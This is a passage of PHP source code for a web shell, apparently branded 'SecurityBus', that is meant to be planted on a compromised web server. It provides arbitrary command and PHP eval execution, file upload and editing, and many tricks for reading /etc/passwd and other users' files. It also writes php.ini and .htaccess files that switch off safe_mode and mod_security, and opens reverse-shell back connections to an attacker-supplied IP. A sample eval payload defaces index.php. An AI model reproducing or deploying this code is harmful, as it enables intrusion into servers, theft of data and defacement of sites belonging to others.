?></td>\r\n </tr>\r\n <tr>\r\n <td>Safe Mode</td>\r\n <td><?php echo \$safeMode; ?></td>\r\n <td>MySQLi</td>\r\n <td><?php echo MysqlI(); ?></td>\r\n </tr>\r\n <tr>\r\n <td>disable functions</td>\r\n <td><select name=\"disableFunctions\"><?php\r\n\t\t\$funArray = DisableFunctions();\r\n\t\t\$funArray = explode(\",\",\$funArray);\r\n\t\tsort(\$funArray);\r\n\t\tforeach(\$funArray as \$fun){echo \"<option value='\".\$fun.\"'>\".\$fun.\"</option>\";}\r\n\t\t?></select>\r\n <input name=\"STOP_Execute\" type=\"submit\" id=\"STOP_Execute\" value=\"Turn Off\" />\r\n </td>\r\n <td>MsSQL</td>\r\n <td><?php echo MsSQL(); ?></td>\r\n </tr>\r\n</table>\r\n [<a href='http://www.md5decrypter.co.uk/' target='_blank'>MD5 Cracker</a>]\r\n[<a href='http://www.md5decrypter.co.uk/sha1-decrypt.aspx' target='_blank'>SHA1 Cracker</a>]\r\n[<a href='http://www.md5decrypter.co.uk/ntlm-decrypt.aspx' target='_blank'>NTLM Cracker</a>]\r\n<input name=\"USERS_1\" type=\"submit\" id=\"USERS_1\" value=\"Users [1]\" />\r\n<input type=\"submit\" name=\"forbidden_bypass\" id=\"forbidden_bypass\" value=\"Forbidden\" />\r\n<input type=\"submit\" name=\"find_755\" id=\"find_755\" value=\"Find 755\" />\r\n<br>\r\n</form>\r\n</table>\r\n\r\n<form method=\"post\">\r\n<center>\r\n<textarea cols=\"150\" rows=\"20\" name=\"result\" >\r\n<?php \r\nchdir(\$dir);\r\nif(\$_POST['login'] || !\$_POST){echo ScanDirs();}\r\nelse if(\$_POST['CMD_Execute']){if(empty(\$_POST['CMD_Line'])){echo scanDirs();}else {Exe(urldecode(filter(\$_POST['CMD_Line']))); }}\r\nelse if(\$_POST['PHP_Execute']){\$eval = Evaluation(urldecode(filter(\$_POST['PHP_Line'])));}\r\nelse if(\$_POST['UPLOAD_Execute']) {\r\n\tfor (\$i = 0; \$i < count(\$_FILES['uploadfile']['name']); \$i++) {\r\n\t\tif(\$_FILES['uploadfile']['name'][\$i] != '') {\r\n\t\t\tif(function_exists('copy')){\$upload = copy(\$_FILES['uploadfile']['tmp_name'][\$i], \$_FILES['uploadfile']['name'][\$i]);}\r\n\t\t\telse{\$upload = move_uploaded_file(\$_FILES['uploadfile']['tmp_name'][\$i], \$_FILES['uploadfile']['name'][\$i]);}\r\n\t\t\tif(\$upload) {echo \"The File \".\$_FILES['uploadfile']['name'][\$i].\" Uploaded Successfully !\r\n\";\t}\r\n\t\t\telse { echo \"The File \".\$_FILES['uploadfile']['name'][\$i].\" Can't Be Upload :( !\r\n\";}\r\n\t\t}\r\n\t}\t\t\r\n}\r\nelse if(\$_POST['EDIT_Execute']){\$content = htmlspecialchars(file_get_contents(filter(\$_POST['Edit_Line'])));echo \$content;}\r\nelse if(\$_POST['SAVE_Execute']) {\r\n\t\$content = filter(\$_POST['result']);\r\n\tif(empty(\$content)){\$content = \" \";}\r\n\tif(GenerateFile(\$_POST['FILE_NAME'],\$content)){echo \"[+]Saved Success !! \";}else{echo \"[-]Save Failed !\";}\r\n}\r\nelse if(\$_POST['READ_Execute']) {\r\n\t\$path = urldecode(filter(\$_POST['READ_Line']));\r\n\t\$file = fopen(\$path,'r+');\r\n\tif(\$_POST['READ_Type'] == \"file\"){echo htmlspecialchars(filter(FileF(\$path)));\t}\r\n\telse if(\$_POST['READ_Type'] == \"fgets\"){while((\$line = htmlspecialchars(filter(fgets(\$file)))) != false){echo \$line;}}\r\n\telse if(\$_POST['READ_Type'] == \"fgetss\"){while((\$line = htmlspecialchars(filter(fgetss(\$file)))) != false){echo \$line;}}\r\n\telse if(\$_POST['READ_Type'] == \"readfile\"){echo htmlspecialchars(filter(readfile(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"fread\"){echo htmlspecialchars(filter(fread(\$file,filesize(\$path))));}\r\n\telse if(\$_POST['READ_Type'] == \"file_get_contents\"){echo htmlspecialchars(filter(file_get_contents(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"tempnam\"){echo htmlspecialchars(filter(TempnameF(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"copy\"){echo htmlspecialchars(filter(CopyF(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"mb_send_mail\"){echo htmlspecialchars(filter(mbSendEmail(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"highlight_file\"){echo htmlspecialchars(filter(highlightFile(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"curl\"){echo htmlspecialchars(filter(CurlFileRead(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"imap\"){echo htmlspecialchars(filter(ImapF(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"id\"){echo htmlspecialchars(filter(ReadId(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"show_source\"){echo htmlspecialchars(filter(show_source(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"mysql\"){echo htmlspecialchars(filter(MySQLReader(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"mysqli\"){echo htmlspecialchars(filter(MySQLIReader(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"symlink\"){echo htmlspecialchars(filter(SymlinkF(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"ioncube\"){echo htmlspecialchars(filter(ioncube_read_file(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"error_log\"){echo htmlspecialchars(filter(ErrorLog(\$path)));}\r\n\telse if(\$_POST['READ_Type'] == \"include\"){echo htmlspecialchars(filter(IncludeReader(\$path)));}\r\n}\r\nelse if(\$_POST['STOP_Execute']) {\r\n\$genTry = GenerateFile(\"php.ini\",\"\r\nsafe_mode = Off\r\ndisable_functions = NONE\r\nsafe_mode_gid = OFF\r\nopen_basedir = OFF\");\r\n\tif(\$genTry){echo \"[+] php.ini Has Been Generated Successfully \r\n\";}\r\n\telse {echo \"[-] Failed to generate php.ini file !! \r\n\";}\r\n\t\r\n\t\$genTry = GenerateFile(\".htaccess\",\"\r\n<IfModule mod_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\nSecFilterCheckURLEncoding Off\r\nSecFilterCheckCookieFormat Off\r\nSecFilterCheckUnicodeEncoding Off\r\nSecFilterNormalizeCookies Off\r\n</IfModule>\r\n<Limit GET POST>\r\norder deny,allow\r\ndeny from all\r\nallow from all\r\n</Limit>\r\n<Limit PUT DELETE>\r\norder deny,allow\r\ndeny from all\r\n</Limit>\r\nSetEnv PHPRC \".getcwd().\"/php.ini\r\n\t\");\r\n\tif(\$genTry){echo \"[+] .htaccess Has Been Generated Successfully \r\n\";}\r\n\telse {echo \"[-] Failed to generate .htaccess file !! \r\n\";}\r\n}\r\nelse if(\$_POST['CON_Type'] == \"socks\") {\r\n\t\$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\r\n\tif(\$sock < 0){echo \"[-] failed to create socket.\";}\r\n\telse {\r\n\t\t\$result = socket_connect(\$sock, filter(trim(\$_POST['ip'])), filter(trim(\$_POST['port'])));\r\n\t\tif(\$result < 0){echo \"[-] failed to connect back to host:\".\$_GET['host'];}\r\n\t\telse {\r\n\t\t\t\$send_var = \"\\n\\n -== SecurityBus , Back Connection ==-\\n\$\";\r\n\t\t\tsocket_write(\$sock, \$send_var, strlen(\$send_var));\r\n\t\t\twhile(\$input = socket_read(\$sock, 10000)) {\r\n\t\t\t\tsocket_write(\$sock, shell_exec(\$input), 12000);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n} else if(\$_POST['CON_Type'] == \"fsockopen\") {\r\n\t\$ip = filter(trim(\$_POST['ip']));\r\n\t\$port = filter(trim(\$_POST['port']));\r\n\tif (!empty(\$ip)) { \r\n\t\t\$con_fsockopen = fsockopen(\$ip , \$port , \$errno, \$errstr ); \r\n\t\tif (!\$con_fsockopen){ \r\n\t\t\t\$result = \"Error: didnt connect !!!\"; \r\n\t\t} else { \r\n\t\t\t\$newLine=\"\\n\"; \r\n\t\t\tfputs (\$con_fsockopen ,\"\\n\\n -== SecurityBus , Back Connection ==-\\n\$\");\r\n\t\t\tfputs(\$con_fsockopen , system(\"uname -a\") .\$newLine );\r\n\t\t\tfputs(\$con_fsockopen , system(\"pwd\") .\$newLine );\r\n\t\t\tfputs(\$con_fsockopen , system(\"id\") .\$newLine.\$newLine );\r\n\t\t\twhile(!feof(\$con_fsockopen)){ \r\n\t\t\t\tfputs (\$con_fsockopen); \r\n\t\t\t\t\$one=\"[\$\";\r\n\t\t\t\t\$two=\"]\";\r\n\t\t\t\t\$result= fgets (\$con_fsockopen, 8192); \r\n\t\t\t\t\$message = \$result; \r\n\t\t\t\tfputs (\$con_fsockopen, \$one. system(\"whoami\") .\$two. \" \" .\$message.\"\\n\"); \r\n\t\t\t} \r\n\t\t\tfclose (\$con_fsockopen); \r\n\t\t}\r\n\t}\r\n}\r\nelse if(\$_POST['USERS_1']){echo GetUsers1();}\r\nelse if(\$_POST['USERS_2']) {\r\n\t \$array = GetUsers2();\r\n\t foreach(\$array as \$line)\r\n\t {echo \$line.\"\r\n\";}\t\r\n}\r\nelse if(\$_POST['USERS_3']) {\r\n\t \$array = GetUsers3();\r\n\t foreach(\$array as \$line)\r\n\t {echo \$line.\"\r\n\";}\t\r\n}\r\nelse if(\$_POST['USERS_4']) {\r\n\t \$array = GetUsers4();\r\n\t foreach(\$array as \$line)\r\n\t {echo \$line.\"\r\n\";}\t\r\n} else if(\$_POST['USERS_5']){echo GetUsers5();}\r\nelse if(\$_POST['forbidden_bypass']) {\r\n\tmkdir(\"forbidden\");\r\n\tchdir(\"forbidden\");\r\n\t\$forbidden_htaccess = GenerateFile(\".htaccess\", \"\r\nDirectoryIndex secu.txt\r\nHeaderName secu.txt\r\nReadmeName secu.txt\r\nfooterName secu.txt\r\nErrorDocument 404 /404.html \r\n404.html = Symlinked sea.txt\r\nOptions all\r\nForceType text/plain\r\nAddType text/plain .php \r\nAddType text/plain .html\r\nAddHandler server-parsed .php\r\nAddHandler txt .php\r\n\t\");\r\n\tif(\$forbidden_htaccess) {\r\n\t\techo \"[+] make your symlink as secu.txt in /forbidden/ folder and find the url /forbidden/secu.txt or /forbidden/\";\r\n\t} else {\r\n\t\techo \"[-] error with generating .htaccess file.\";\r\n\t}\r\n} else if(\$_POST['find_755']) {\r\n\tExe(\"ls -dl /home/*/public_html/ | grep drwxr-xr-x\");\r\n}\r\n?></textarea>\r\n<?php\r\nif(\$_POST['EDIT_Execute']){echo \"<input type='submit' value='Save' name='SAVE_Execute' class='Save' />\r\n<input type='hidden' name='FILE_NAME' value='\".\$_POST['Edit_Line'].\"' />\r\n\";}\r\n?>\r\n</center></form>\r\n<table width='100%'>\r\n\t<tr valign=\"top\">\r\n\t\t<td width='30%'>\r\n <!-- Command Line -->\r\n <form method='POST' enctype=\"multipart/form-data\">\r\n\t <table height='72' border='0' id='Box' width=\"100%\">\r\n\t \t <tr>\r\n\t \t\t <td width=\"4%\" height=\"21\" style=\"background-color:<?php echo \$sh3llColor; ?>\"> </td>\r\n\t \t\t<td style=\"background-color:#666;padding-left:10px;\">Edit File\r\n\t \t\t <input name=\"EDIT_Execute\" type=\"submit\" id=\"EDIT_Execute\" value=\"Edit\" /></td>\r\n\t </tr>\r\n\t <tr>\r\n\t \t\t <td height=\"45\" colspan=\"2\"><input type='text' name='Edit_Line' id='Edit_Line' value='<?php if(\$_POST['EDIT_Execute']){echo filter(\$_POST['Edit_Line']);}else {echo \$dir;} ?>' size=\"70\"></td>\r\n\t </tr>\r\n\t </table>\r\n </form>\r\n <!-- End Of Command Line-->\r\n \r\n\t\t</td>\r\n <td width='30%' height='30'>\r\n <!-- Command Line -->\r\n <form method='POST' enctype=\"multipart/form-data\">\r\n\t \t <table height='72' border='0' id='Box'>\r\n\t \t <tr>\r\n\t \t\t <td width=\"4%\" height=\"21\" style=\"background-color:<?php echo \$sh3llColor; ?>\"> </td>\r\n \t\t<td style=\"background-color:#666;padding-left:10px;\">Command Line\r\n \t\t<?php echo print_exe_method(); ?> \r\n \t\t \t<input name=\"CMD_Execute\" type=\"submit\" id=\"CMD_Execute\" value=\"Execute\" onClick=\"document.getElementById('CMD_Line').value = encodeURIComponent(document.getElementById('CMD_Line').value);\">\r\n\t \t\t </td>\r\n \t</tr>\r\n\t <tr>\r\n\t \t\t <td height=\"45\" colspan=\"2\">\r\n\t\t\t\t\t<?php echo SelectCommand(\$os); ?> \r\n\t <input type='text' name='CMD_Line' id='CMD_Line' value='' size=\"70\">\r\n\t <input name=\"curDir\" type=\"text\" id=\"curDir\" value=\"<?php if(\$_POST['Execute']){echo \$_POST['curDir'];} else {echo getcwd();} ?>\" size=\"70\"></td>\r\n\t </tr>\r\n\t </table>\r\n </form>\r\n <!-- End Of Command Line-->\r\n </td>\r\n <td width='30%' height='30' valign=\"top\">\r\n <!-- Commands Alias-->\r\n <form method='POST' enctype=\"multipart/form-data\">\r\n\t <table width='100%' height='72' border='0' id='Box'>\r\n\t \t <tr>\r\n\t \t\t <td width=\"4%\" height=\"21\" style=\"background-color:<?php echo \$sh3llColor; ?>\"> </td>\r\n\t \t\t<td style=\"background-color:#666;padding-left:10px;\">Upload Files \t\t <span style=\"padding-left:10px;\">\r\n\t \t\t <input type='button' value='+' id='addUpload' size='5' onclick='addUploadInput();'>\r\n\t \t\t <input name='UPLOAD_Execute' type='submit' id=\"UPLOAD_Execute\" value='Upload Files'>\r\n\t \t\t</span></td>\r\n\t </tr>\r\n\t <tr>\r\n\t \t\t <td height=\"45\" colspan=\"2\">\r\n\t <input type='file' name='uploadfile[]'>\r\n\t \t\t <input type='file' name='uploadfile[]'><div id='uploadInput'></div></td>\r\n\t </tr>\r\n\t </table>\r\n </form>\r\n <!-- End Of Commands Alias-->\r\n\t\t</td>\r\n\t</tr>\r\n<tr valign=\"top\">\r\n\t\t<td width='30%'>\r\n <!-- Commands Alias-->\r\n <form method='POST' enctype=\"multipart/form-data\">\r\n\t <table width='100%' height='72' border='0' id='Box'>\r\n\t \t <tr>\r\n\t \t\t <td width=\"4%\" height=\"21\" style=\"background-color:<?php echo \$sh3llColor; ?>\"> </td>\r\n\t \t\t<td style=\"background-color:#666;padding-left:10px;\">PHP Eval \t\t \r\n\t \t\t <input name=\"PHP_Execute\" type=\"submit\" id=\"PHP_Execute\" onClick=\"document.getElementById('PHP_Line').value = encodeURIComponent(document.getElementById('PHP_Line').value);\" value=\"Evaluate\"></td>\r\n\t </tr>\r\n\t <tr>\r\n\t \t\t <td height=\"45\" colspan=\"2\"><label for=\"PHP_Line\"></label>\r\n\t \t\t <textarea name=\"PHP_Line\" id=\"PHP_Line\" cols=\"50\" rows=\"2\"><?php if(\$_POST['PHP_Execute']){echo urldecode(filter(\$_POST['PHP_Line']));}else {echo '\$file = fopen(\"index.php\",\"w+\");\r\n\tfwrite(\$file,\"Hacked By SecurityBus\");\r\n\tfclose(\$file);';}\r\n\t\t\t\t?>\r\n\t </textarea>\r\n\t \t\t <br></td>\r\n\t </tr>\r\n\t </table>\r\n </form>\r\n <!-- End Of Commands Alias-->\r\n\t\t</td>\r\n <td width='30%' height='30'>\r\n <!-- Commands Alias-->\r\n <form method='POST' enctype=\"multipart/form-data\">\r\n <table width='100%' height='72' border='0' id='Box'>\r\n \t <tr>\r\n \t\t <td width=\"4%\" height=\"21\" style=\"background-color:<?php echo \$sh3llColor; ?>\"> </td>\r\n \t\t<td style=\"background-color:#666;padding-left:10px;\">Read Files\r\n \t\t \r\n \t\t <select name=\"READ_Type\" >\r\n \t\t <option value=\"file\" >file</option>\r\n \t\t <option value=\"fgets\" >fgets</option>\r\n \t\t <option value=\"fgetss\" >fgetss</option>\r\n \t\t <option value=\"readfile\" >readfile</option>\r\n \t\t <option value=\"fread\" >fread</option>\r\n \t\t <option value=\"show_source\" >show_source</option>\r\n \t\t <option value=\"file_get_contents\" >file_get_contents</option>\r\n \t\t <option value=\"tempnam\" >tempnam</option>\r\n \t\t <option value=\"copy\" >copy</option>\r\n <option value=\"symlink\" >Symlink</option>\r\n \t\t <option value=\"mb_send_mail\" >mb_send_mail</option>\r\n \t\t <option value=\"highlight_file\" >highlight_file</option>\r\n \t\t <option value=\"curl\" >Curl</option>\r\n \t\t <option value=\"imap\" >Imap</option>\r\n \t\t <option value=\"mysql\" >MySQL</option>\r\n <option value=\"mysqli\" >MySQLI</option>\r\n <option value=\"ioncube\">Ion Cube</option>\r\n <option value=\"error_log\">Error_Log</option>\r\n <option value=\"include\">Include</option>\r\n \t\t <option value=\"id\" >ID /etc/passwd</option>\r\n \t\t </select>\r\n \t\t <input name=\"READ_Execute\" type=\"submit\" id=\"READ_Execute\" onClick=\"document.getElementById('READ_Line').value = encodeURIComponent(document.getElementById('READ_Line').value);\" value=\"Read\"></td>\r\n </tr>\r\n <tr>\r\n \t\t <td height=\"45\" colspan=\"2\"><input type='text' name='READ_Line' id='READ_Line' value='<?php if(\$_POST['READ_Execute']){echo urldecode(filter(\$_POST['READ_Line']));}else {echo \$dir;} ?>' size=\"70\"></td>\r\n </tr>\r\n </table>\r\n </form>\r\n <!-- End Of Commands Alias-->\r\n </td>\r\n <td width='30%' height='30' valign=\"top\">\r\n <!-- Commands Alias-->\r\n <form method='POST' enctype=\"multipart/form-data\">\r\n <table width='100%' height='72' border='0' id='Box'>\r\n \t <tr>\r\n \t\t <td width=\"4%\" height=\"21\" style=\"background-color:<?php echo \$sh3llColor; ?>\"> </td>\r\n \t\t<td style=\"background-color:#666;padding-left:10px;\">Back Connection\r\n \t\t <input name='CON_Execute' type='submit' id=\"CON_Execute\" value='Connect'></td>\r\n </tr>\r\n <tr>\r\n \t\t <td height=\"45\" colspan=\"2\"><input type=\"text\" name=\"ip\" value=\"<?php if(\$_POST['CON_Execute']){echo \$_POST['ip']; }else {echo GetRealIP(); } ?>\" />\r\n \t\t <input type=\"text\" name=\"port\" value=\"<?php if(\$_POST['CON_Execute']){echo \$_POST['port']; }else {echo \"443\"; } ?>\" />\r\n \t\t <select name=\"CON_Type\" >\r\n \t\t \t<option value=\"socks\">SOCKS</option>\r\n \t\t \t<option value=\"fsockopen\">FSOCKOPEN</option>\r\n \t\t </select>\r\n \t\t </td>\r\n </tr>\r\n </table>\r\n </form>\r\n <!-- End Of Commands Alias-->\r\n\t\t</td>\r\n\t</tr>\r\n</table>\r\n<?php\r\nfunction IncludeReader(\$path) {\r\n\tglobal \$os;\r\n\tif(\$os == \"Windows\"){\$slash = \"\\\\\";}else{\$slash = \"/\";}\r\n\t\$fileName = substr(strrchr(\$path,\$slash),1);\r\n\t\$includePath = substr(\$path,0,strpos(\$path,\$fileName,0));\r\n\tini_set(\"include_path\",\$includePath);\r\n\tinclude(\$fileName);\r\n}\r\nfunction GetUsers1() {\r\n\treturn Exe('ls /var/mail');\r\n}\r\nfunction GetUsers2() {\r\n\t\$array = array();\r\n\t\$lines = file(\"/etc/passwd\");\r\n\tforeach(\$lines as \$nr=>\$val) {\r\n\t\t\$str = explode(\":\",\$val);\r\n\t\tarray_push(\$array,\$str[0]);\r\n\t}\r\n\treturn \$array;\r\n}\r\nfunction GetUsers3() {\r\n\t\$array = array();\r\n\tif (\$dh = opendir(\"/home/\")) {\r\n\t\twhile ((\$file = readdir(\$dh)) !== false) {\r\n\t\t\tarray_push(\$array,\$file);\r\n\t\t}\r\n\t\tclosedir(\$dh);\r\n\t\treturn \$array;\r\n\t}\r\n}\r\nfunction GetUsers4() {\r\n\t\$dir = \"/home/\";\r\n\t\$array = array();\r\n if (\$dh = opendir(\$dir)) {\r\n \$f = readdir(\$dh);\r\n while ((\$f = readdir(\$dh)) !== false) {\r\n \$dh2=opendir(\$dir.\"/\");\r\n \$f2 = readdir(\$dh2);\r\n while ((\$f2 = readdir(\$dh2)) !== false) {\r\n\t\t\t\t\$f2.=\"/\";\r\n\t\t\t\t\$dh3=opendir(\$dir.\$f.\$f2);\r\n\t\t\t\t\$f3 = readdir(\$dh3);\r\n\t\t\t\twhile ((\$f3 = readdir(\$dh3)) !== false) {\r\n\t\t\t\t\tarray_push(\$array,\$f3);\r\n\t\t\t\t}\r\n\t\t\t}\r\n }\r\n closedir(\$dh);\r\n \treturn \$array;\r\n\t }\t\r\n}\r\nfunction GetUsers5(){\r\n\treturn realpath('/etc/passwd');\r\n}\r\nfunction ErrorLog(\$path){\r\n\t\$tempFile = uniqid();\r\n\tif(get_magic_quotes_gpc() != 0){\$path = addslashes(\$path);}\r\n\terror_log(file_get_contents(\$path), 3, \$tempFile);\r\n\t\$content = file_get_contents(\$tempFile);\r\n\tunlink(\$tempFile);\r\n\treturn \$content;\t\r\n}\r\nfunction SymlinkF(\$path) {\r\n\t\$tempFile = uniqid();\r\n\tif(function_exists('symlink')) {\r\n\t\tsymlink(\$path,\$tempFile);\r\n\t\t\$content = file_get_contents(\$tempFile);\r\n\t\tunlink(\$tempFile);\r\n\t\treturn \$content;\r\n\t}\r\n}\r\nfunction MySQLReader(\$path) {\r\n\tglobal \$DBhost,\$DBuser,\$DBpass;\r\n\tif(get_magic_quotes_gpc() != 0){\$path = addslashes(\$path);}\r\n\t\$con = mysql_connect(\$DBhost,\$DBuser,\$DBpass);\r\n\tmysql_query(\"CREATE DATABASE a\");\r\n\tmysql_query(\"CREATE TABLE a.a (a varchar(1024))\");\r\n\tmysql_query(\"GRANT SELECT,INSERT ON a.a TO '\".\$DBuser.\"'\");\r\n\tmysql_query(\"LOAD DATA LOCAL INFILE '\".\$path.\"' INTO TABLE a.a\") or die(mysql_error());\r\n\t\$result = mysql_query(\"SELECT a FROM a.a\");\r\n\twhile(list(\$row) = mysql_fetch_row(\$result)){print \$row . chr(10);}\r\n\tmysql_query(\"DROP DATABASE a\");\r\n}\r\nfunction MySQLIReader(\$path) {\r\n\tglobal \$DBhost,\$DBuser,\$DBpass;\r\n\tif(get_magic_quotes_gpc() != 0){\$path = addslashes(\$path);}\r\n\t\$con = mysql_connect(\$DBhost,\$DBuser,\$DBpass);\r\n\tmysql_query(\"CREATE DATABASE a\");\r\n\tmysql_query(\"CREATE TABLE a.a (a varchar(1024))\");\r\n\t\r\n\tfunction r(\$fp, &\$buf, \$len, &\$err) {\r\n print fread(\$fp, \$len);\r\n\t}\r\n\t\$m = new mysqli(\$DBhost, \$DBuser, \$DBpass, 'a');\r\n\t\$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);\r\n\t\$m->set_local_infile_handler(\"r\");\r\n\t\$m->query(\"LOAD DATA LOCAL INFILE '\".\$path.\"' INTO TABLE a.a\");\r\n\t\$m->close();\r\n}\r\nfunction DBConnect(\$host,\$user,\$pass,\$db) {\r\n\t\$connect = mysql_pconnect(\$host,\$user,\$pass);\r\n\tif(!\$connect){echo \"Can't Connect to [ \".\$host.\" ] [ \".\$user.\" ] [ \".\$pass.\" ]\"; return false;\t}\r\n\telse {\r\n\t\t\$tryToSelectDB = mysql_select_db(\$db,\$connect);\r\n\t\tif(!\$tryToSelectDB){echo \"Can't Enter The Database [ \".\$db.\" ]\"; return false;\t\t}\r\n\t\telse{return true; return \$connect;}\r\n\t}\r\n}\r\nfunction ReadId(\$path) {\r\n\tfor(\$uid=0;\$uid<60000;\$uid++) { \r\n\t\t\$ara = posix_getpwuid(\$uid);\r\n\t\tif (!empty(\$ara)){while (list (\$key, \$val) = eah(\$ara)){\$content .= \$val;}\r\n\t\t}\r\n\t}\r\n\treturn \$content;\r\n}\r\nfunction ImapF(\$path) {\r\n\t\$stream = imap_open(\$path, \"\", \"\");\r\n\t\$str = imap_body(\$stream, 1);\r\n\timap_close(\$stream);\r\n\treturn \$str;\r\n}\r\nfunction FileF(\$path) {\r\n\t\$lines = file(\$path); foreach(\$lines as \$line){\$content .= \$line;}\r\n\treturn \$content;\r\n}\r\nfunction CopyF(\$path) {\t\r\n\t\$tempFile = md5(uniqid()).\".bb\";\r\n\tcopy(\$path,\$tempFile);\r\n\t\$content = file_get_contents(\$tempFile);\r\n\tunlink(\$tempFile);\r\n\treturn \$content;\r\n}\r\nfunction fgetssF(\$path) {\r\n\twhile((\$line = fgetss(\$path)) != false){\$content .= \$line;}\r\n\treturn \$content;\r\n}\r\nfunction highlightFile(\$path) {\r\n\treturn highlight_file(\$path);\r\n}\r\nfunction mbSendEmail(\$path) {\r\n\tif(function_exists('mb_send_mail')) {\r\n\t\t\$tempFile = uniqid();\r\n\t\t\$additional_param = \"-C \".\$path.\" -X \".getcwd().\"/\".\$tempFile;\r\n\t\tmb_send_mail(\"email@example.com\", NULL, NULL, NULL, \$additional_param);\r\n\t\t\$content = file_get_contents(\$tempFile);\r\n\t\tunlink(\$tempFile);\r\n\t\treturn \$content;\r\n\t}\r\n}\r\nfunction DeleteFile(\$fileName) {\r\n\tglobal \$os;\r\n\tif(function_exists('unlink'))\r\n\t{\$delete = unlink(\$fileName);}\r\n\tif((!\$delete) && (\$os == 'Windows'))\r\n\t{\$delete = Exe(\"del \$fileName\"); }\r\n\telse if((!\$delete) && (\$os == 'Linux'))\r\n\t{\$delete = Exe(\"rm -f \$fileName\");}\r\n\tif(\$delete){return true;}else{return false;}\r\n}\r\nfunction CurlFileRead(\$path) {\r\n\t\$ch = curl_init(\"file://\".\$path.\"\\x00\".__FILE__);\r\n\tvar_dump(curl_exec(\$ch));\r\n}\r\nfunction FReadF(\$path) {\r\n\t\$file = fopen(\$path,'r+'); //Open The File\r\n\tif(function_exists('fread')){htmlspecialchars(fread(\$file,filesize(\$file)));}\r\n\tfclose(\$file);\r\n}\r\nfunction TempnameF(\$path) {\r\n\tglobal \$dir;\r\n\t\$temp = tempnam(\$dir, \"cx\");\r\n\tif(copy(\"compress.zlib://\".\$path, \$temp)) {\r\n\t\t\$handler = fopen(\$temp, \"r\");\r\n\t\t\$readFile = fread(\$handler, @filesize(\$temp));\r\n\t\tfclose(\$handler);\r\n\t\t\$content .= htmlspecialchars(\$filename);\r\n\t\t\$content .= nl2br(htmlspecialchars(\$readFile));\r\n\t\t\$content .= htmlspecialchars(\$filename);\r\n\t\tunlink(\$temp);\r\n\t\treturn \$content;\r\n\t} \t\r\n}\r\nfunction Evaluation(\$eval) {\r\n\t\$eval = str_replace(array(\"<?php\",\"<?\",\"?>\"),\"\",\$eval);\r\n\t\$eval = eval(\$eval);\r\n\tif(\$eval){return true;}else{return false;}\r\n}\r\nfunction Oracle() {\r\n\tif(function_exists('ocilogon')){\$oracle = '<font color=\"red\">ON</font>';}\r\n\telse {\$oracle = '<font color=\"green\">OFF</font>';}return \$oracle;\r\n}\r\nfunction MsSQL() {\r\n\tif(function_exists('mssql_connect')){\$msSQL = '<font color=\"red\">ON</font>';}\r\n\telse {\$msSQL = '<font color=\"green\">OFF</font>';}return \$msSQL;\r\n}\r\nfunction MySQL2() {\r\n\t\$mysql_try = function_exists('mysql_connect');\r\n\tif(\$mysql_try){\$mysql = '<font color=\"red\">ON</font>';}\r\n\telse {\$mysql = '<font color=\"green\">OFF</font>';}return \$mysql;\r\n}\r\nfunction MSQL() {\r\n\tif (function_exists('msql_connect')){\$mSql = '<font color=\"red\">ON</font>';}\r\n\telse {\$mSql = '<font color=\"green\">OFF</font>';}return \$mSql;\r\n}\r\nfunction MysqlI() {\r\n\tif (function_exists('mysqli_connect')){\$mysqli = '<font color=\"red\">ON</font>';}\r\n\telse {\$mysqli = '<font color=\"green\">OFF</font>';}return \$mysqli;\r\n} \r\nfunction Gzip() {\r\n\tif (function_exists('gzencode')){\$gzip = '<font color=\"red\">ON</font>';}\r\n\telse {\$gzip = '<font color=\"green\">OFF</font>';}return \$gzip;\r\n}\r\nfunction openBaseDir() {\r\n\t\$openBaseDir = ini_get(\"open_basedir\");\r\n\tif (!\$openBaseDir){\$openBaseDir = '<font color=\"green\">OFF</font>';}\r\n else {\$openBaseDir = '<font color=\"red\">ON</font>';}\t\r\n\treturn \$openBaseDir;\r\n}\r\nfunction Curl() {\r\n\tif(extension_loaded('curl')){\$curl = '<font color=\"red\">ON</font>';}\r\n\telse{\$curl = '<font color=\"green\">OFF</font>';}return \$curl;\r\n}\r\nfunction magicQouts() {\r\n\tif(function_exists('get_magic_quotes_gpc')){\$mag = get_magic_quotes_gpc();}\r\n\tif (empty(\$mag)){\$mag = '<font color=\"green\">OFF</font>';}\r\n\telse {\$mag= '<font color=\"red\">ON</font>';}return \$mag;\r\n}\r\nfunction SafeMode() {\r\n\t\$safe_mode = ini_get(\"safe_mode\");\r\n\tif (!\$safe_mode){\$safe_mode = '<font color=\"green\">OFF</font>';}\r\n else {\$safe_mode = '<font color=\"red\">ON</font>';}\r\n\treturn \$safe_mode;\r\n}\r\nfunction DisableFunctions() {\r\n\t\$disfun = ini_get('disable_functions');\r\n\tif (empty(\$disfun)){\$disfun = '<font color=\"green\">NONE</font>';}return \$disfun;\r\n}\r\nfunction RegisterGlobals() {\r\n\tif(ini_get('register_globals')){\$registerg= '<font color=\"red\">ON</font>';}\r\n\telse{\$registerg= '<font color=\"green\">OFF</font>';}return \$registerg;\r\n}\r\nfunction GetRealIP() {\r\n if (getenv(HTTP_X_FORWARDED_FOR)){\$ip=getenv(HTTP_X_FORWARDED_FOR);} \r\n\telseif (getenv(HTTP_CLIENT_IP)){\$ip=getenv(HTTP_CLIENT_IP);}\r\n\telse {\$ip=getenv(REMOTE_ADDR);}\r\n return \$ip;\r\n}\r\nfunction SelectCommand(\$os) {\r\n\tglobal \$os;\r\n\tif(\$os == 'Windows') {\r\n\t\techo \"\r\n\t\t<select name='alias' id='alias' onChange='AddAlias();' >\r\n\t\t<option value=''>NONE</option>\t\r\n\t\t<option value='dir' >List Directory</option>\r\n\t\t<option value='dir /s 